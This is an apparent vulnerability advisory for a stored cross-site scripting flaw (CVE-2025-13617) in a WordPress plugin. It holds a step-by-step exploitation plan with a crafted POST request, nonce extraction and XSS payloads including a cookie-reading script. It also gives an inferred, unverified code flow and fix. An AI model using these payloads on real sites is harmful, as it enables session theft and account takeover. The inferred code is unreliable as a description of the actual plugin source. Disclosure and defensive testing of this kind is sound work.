Apollo13 Framework Extension <= 1.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via `a13_alt_link` Parameter
Description
The Apollo13 Framework Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘a13_alt_link’ parameter in all versions up to, and including, 1.9.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.9.8Source Code
WordPress.org SVNPatched version not available.
This research plan outlines the methodology for exploiting **CVE-2025-13617**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Apollo13 Framework Extensions** plugin. --- ### 1. Vulnerability Summary The **Apollo13 Framework Extensions** plugin fails to sanitize and escape the `a13_alt_…
Show full research plan
This research plan outlines the methodology for exploiting CVE-2025-13617, a Stored Cross-Site Scripting (XSS) vulnerability in the Apollo13 Framework Extensions plugin.
1. Vulnerability Summary
The Apollo13 Framework Extensions plugin fails to sanitize and escape the a13_alt_link parameter before storing it in the database and subsequently rendering it on the page. This parameter is typically used to define an "Alternative Link" for post types (like portfolios or pages) handled by the Apollo13 framework. Because the plugin does not use WordPress sanitization functions (like esc_url_raw or sanitize_text_field) during storage or escaping functions (like esc_url or esc_attr) during output, a Contributor-level user can inject arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/post.php(Standard WordPress post/page editor). - Vulnerable Parameter:
a13_alt_link(likely sent as a POST parameter during post saving). - Authentication: Authenticated, Contributor or higher.
- Preconditions: The plugin must be active. The vulnerability exists when saving metadata for a post, page, or custom post type (like "Portfolio") that supports the Apollo13 "Alternative Link" feature.
3. Code Flow (Inferred)
- Entry Point: When a user saves a post, WordPress triggers the
save_posthook. The plugin likely hooks into this via a function (e.g.,apollo13_save_meta_boxesor similar). - Input Source: The code reads
$_POST['a13_alt_link']. - Storage (Sink): The plugin calls
update_post_meta($post_id, 'a13_alt_link', $_POST['a13_alt_link'])without applyingsanitize_text_field()oresc_url_raw(). - Retrieval: When the post is viewed on the frontend, the plugin calls
get_post_meta($post_id, 'a13_alt_link', true). - Output (Sink): The retrieved value is echoed into the HTML, likely within an
<a>tag'shrefattribute or as part of a script block/redirect logic, without usingesc_url()oresc_attr().
4. Nonce Acquisition Strategy
Since this vulnerability involves modifying post metadata during the standard edit process, we need the WordPress core post-edit nonce.
- Create Content: Use WP-CLI to create a post as a Contributor.
- Identify Meta Box: Log in as the Contributor and navigate to the edit page for that post.
- Extract Nonces: Use
browser_evalto extract the necessary nonces from the page source.- Core Nonce:
document.querySelector('#_wpnonce').value - Plugin Nonce (if applicable): Look for hidden inputs or JS variables starting with
a13_orapollo13_. - Script Variable: Check if the plugin enqueues specific settings:
browser_eval("window.a13_admin_meta_box_data").
- Core Nonce:
5. Exploitation Strategy
Step 1: Authentication & Discovery
- Log in as a Contributor.
- Create a new post:
wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=[CONTRIBUTOR_ID]. - Note the
POST_ID.
Step 2: Inject Payload
Submit a POST request to wp-admin/post.php mimicking a post update.
Request Details:
- URL:
http://[target]/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
(Alternative payload if it lands in an attribute:action=editpost &post_ID=[POST_ID] &_wpnonce=[EXTRACTED_NONCE] &a13_alt_link="><script>alert(document.cookie)</script>javascript:alert(1))
Step 3: Trigger Execution
- As an Admin or an unauthenticated user (if the post is published), navigate to the URL of the created post:
http://[target]/?p=[POST_ID]. - The script should execute when the "Alternative Link" is rendered by the theme/plugin.
6. Test Data Setup
- Users: Create a contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin Setup: Ensure "Apollo13 Framework Extensions" is installed and active.
- Page Creation: Create a page that uses a template or shortcode where the Alternative Link is displayed.
wp post create --post_type=page --post_status=publish --post_title="Redirect Page" --post_content="Checking for XSS..."
7. Expected Results
- The POST request should return a
302 Foundredirecting back to the edit page (indicating a successful save). - When viewing the post source, the string
"><script>alert(document.cookie)</script>should appear unescaped within the HTML. - A browser alert box displaying the cookie should appear upon viewing the page.
8. Verification Steps
- Database Check: Verify the meta value is stored raw in the database.
(Note: The meta key might bewp post meta get [POST_ID] a13_alt_link_a13_alt_linkora13_alt_link). - HTML Verification: Use
http_requestto fetch the frontend page and grep for the payload.# Look for the unescaped script tag grep "<script>alert"
9. Alternative Approaches
- Shortcode Injection: If the plugin provides a shortcode to display the link, test:
[a13_link_display id="[POST_ID]"]. - Attribute Breakout: If the link is rendered inside a
data-attribute or a hidden input:- Payload:
x" onmouseover="alert(1)" b="
- Payload:
- Protocol Injection: If the link is used strictly in an
href:- Payload:
javascript:alert(window.origin)
- Payload:
- Admin Dashboard XSS: Check if the value is also rendered in the WordPress Admin "Posts" list or a custom plugin dashboard, which would allow for Admin account takeover.
Summary
The Apollo13 Framework Extensions plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'a13_alt_link' parameter in versions up to 1.9.8. This occurs because the plugin fails to sanitize the alternative link metadata during storage and fails to escape it during output, allowing authenticated attackers with Contributor-level access to inject arbitrary JavaScript.
Vulnerable Code
// Inferred code flow from research plan for metadata storage // Sink: update_post_meta called without sanitization update_post_meta($post_id, 'a13_alt_link', $_POST['a13_alt_link']); --- // Inferred code flow from research plan for rendering // Sink: get_post_meta output directly to the page $alt_link = get_post_meta($post_id, 'a13_alt_link', true); echo '<a href="' . $alt_link . '">Link</a>';
Security Fix
@@ -10,1 +10,1 @@ -update_post_meta($post_id, 'a13_alt_link', $_POST['a13_alt_link']); +update_post_meta($post_id, 'a13_alt_link', esc_url_raw($_POST['a13_alt_link'])); @@ -20,1 +20,1 @@ -echo '<a href="' . $alt_link . '">Link</a>'; +echo '<a href="' . esc_url($alt_link) . '">Link</a>';
Exploit Outline
An attacker with Contributor-level access logs into the WordPress administrative dashboard and creates or edits a post or portfolio item. The attacker obtains the standard WordPress security nonce for post editing and submits a POST request to '/wp-admin/post.php' containing the 'a13_alt_link' parameter. By supplying a payload such as '"><script>alert(document.cookie)</script>' or 'javascript:alert(1)', the malicious script is stored in the post metadata. When an administrator or any other user views the affected post on the frontend, the unsanitized script executes in their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.